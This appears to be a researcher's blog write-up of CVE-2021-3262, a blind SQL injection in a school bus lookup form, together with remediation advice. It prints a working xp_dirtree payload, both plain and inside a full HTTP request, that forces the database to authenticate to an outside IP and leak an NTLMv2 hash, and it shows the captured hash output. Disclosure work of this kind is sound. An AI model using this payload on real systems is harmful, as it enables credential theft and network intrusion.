← Blog

5 min readCVE-2021-3262

SqlSpark: The Wheels on the Bus Went SELECT * FROM, and That Became CVE-2021-3262

An internet-facing page where parents look up their child's school bus turned out to take SQL. Here is how one unauthenticated form field became a foothold, a service account, and eventually an entire Active Directory forest.

SqlSpark: SQL Injection in TripSpark VEO Transportation, CVE-2021-3262

Most of my findings start on the inside of a network, where everything is soft and nobody expects company. This one started on the open internet, on a page built for parents.

That is the detail I want you to hold onto for the whole post. Not the payload. Not the CVE number. The fact that the front door to this thing was a public web page whose entire job was telling a parent which bus their kid gets on.

The professional write-up lives over at Show Up Show Out Security. This is the one where I tell you what actually happened, including the part where a school district’s Active Directory forest fell over because of a text box.

The software

TripSpark’s VEO Transportation manages school transportation: regular routes, special education routes, calendar-based scheduling, the thin-client web front end that districts bolt onto their public website so parents can stop calling the transportation office in August.

Reasonable product. Genuinely useful. The public lookup page asks for a student’s N Number and birthdate and returns their bus assignment.

Environment:

  • Affected: NovusEDU-2.2.x-XP_BB-20201123-184084 / VEO--20201123-184084OS
  • Host OS: Windows Server 2012 R2 Standard
  • Database: SQL Server 2012 (SP3) 11.0.6020.0 (x64)
  • Class: SQL injection, CWE-89
  • My score: CVSSv2 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
  • NVD’s score: 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The page

Figure 1: Student Busing Information, open to the internet, no login

The public TripSpark Student Busing Information page, with an N Number field and a birthdate dropdown, annotated as vulnerable to SQL injection

Look at how friendly it is. There is a note about the 2020-2021 school year. There is a reminder that processing takes two to three days. There is a polite request that your student arrive at the stop ten minutes early.

And there is an unauthenticated input field wired to a SQL Server that lives inside the district’s network.

The form posts two things that matter: editOEN, which holds the student number, and a set of birthdate dropdowns. editOEN was the one that took SQL.

This one did not announce itself the way DeliverNow did. No helpful yellow error box, no parser complaining in the response body. This was blind, which means the app kept a straight face the entire time while doing exactly what I asked.

Making a blind injection talk

When the application will not tell you anything, you stop asking it questions and start asking the database to send mail.

xp_dirtree is a Microsoft SQL Server stored procedure that lists the contents of a directory. Feed it a UNC path pointing at a host you control and SQL Server dutifully walks over and authenticates before it reads anything. The response body stays empty. My listener does not.

123';declare @q varchar(99);set @q='\\52.173.145.52'+'\fro'; exec master.dbo.xp_dirtree @q;--

Figure 2: The payload riding in the editOEN parameter

A Burp Suite request editor showing the POST body with the editOEN parameter carrying an xp_dirtree payload pointing at an attacker-controlled IP

The request itself is aggressively boring. A 4,700 byte ASP.NET body, most of it __VIEWSTATE, which is the web development equivalent of hiding a note inside a very long letter about nothing.

Figure 4: The exploited request

The full HTTP POST request showing __VIEWSTATE, __EVENTVALIDATION, and the editOEN parameter carrying the URL-encoded xp_dirtree payload

POST / HTTP/1.1
Host: vulnerable.site.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4700

__VIEWSTATE=redacted&__VIEWSTATEGENERATOR=2A5DADC0&__EVENTVALIDATION=redacted
&editOEN=123'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5c52.173.115.212'%2b'%5cfro'%3b
%20exec%20master.dbo.xp_dirtree%20@q%3b--%20
&cboxMonth=01&cboxDay=01&cboxYear=2001&btnLogin=Submit

Two dropdowns for a birthday, one btnLogin=Submit, and a stored procedure call to a machine on the other side of the internet. One of these things was not in the design document.

The database phones home

Figure 3: Forced authentication captured on my side

Impacket smbserver output showing the SQLServices account from a VEO-DB host authenticating successfully and leaking an NTLMv2 hash

[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,...-VEO-DB)
[*] User ...-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

There it is. A database server sitting inside a school district’s network, reaching out through the perimeter, to an IP address on the public internet, to authenticate to a share that does not exist, because a parent lookup form asked it to.

The hostname tells you what it is. The account name tells you what it does. The NTLMv2 hash tells you everything else, eventually.

Where it went from there

This is the part where a vulnerability report stops being a finding and starts being a phone call.

That hash was the foothold. From the foothold I moved into the client’s internal network. From the internal network I compromised the entire Active Directory domain, and then the forest.

The path from “public web form for parents” to “domain admin across the whole environment” was shorter than the drive to the school.

And consider what actually lives in a student transportation database. Names. Home addresses. Which bus. Which stop. What time that child stands on that corner every weekday morning. Special education routing, which by definition flags the students who need the most support. This is not a marketing list. This is a schedule of where children will physically be.

The CVSS vector talks about confidentiality, integrity, and availability. It does not have a metric for that.

Nothing about this was advanced

I keep making this point because it keeps being true. No custom exploit was required. Metasploit, sqlmap, and Impacket detect and exploit this class of bug out of the box, and they were doing it years before I showed up.

The only thing that separated this from any scanner finding was that the injection was blind, and blind only slows you down until you remember that the database has a network stack.

Remediation

Prepared statements. Every time. The reason this advice is boring is that it works. Bind your parameters and editOEN becomes a string that means nothing, no matter how many semicolons are in it.

Server-side validation. A student number is short and numeric. There is a regex for that, and it is not complicated. Client-side validation is a courtesy to honest users and completely invisible to everyone else.

Least privilege on the database account. The account behind this page needs to read bus assignments. It does not need xp_dirtree. It does not need to make outbound SMB connections. Deny it, and the blind injection loses its only voice.

Egress filtering. A database server in a school district has no business initiating SMB connections to the public internet. Block outbound 445 at the perimeter and this exploit path dies quietly, even while the injection itself remains.

Separate the public form from the production database. The page parents use should not be talking directly to the system of record that also holds special education routing.

Timeline

DateEvent
2021Found during an external penetration test, reported to TripSpark
2023-08-29Published to NVD as CVE-2021-3262, scored 9.8 Critical

The receipts

The payloads, the annotated requests, and the reproduction notes are public:

github.com/l0lsec/CVE-2021-3262

If you run a district, or you sell software to one, here is your homework: find every public-facing form that touches a student record, and ask the vendor one question in writing. Are these queries parameterized?

If the answer takes more than one sentence, you have found your next project.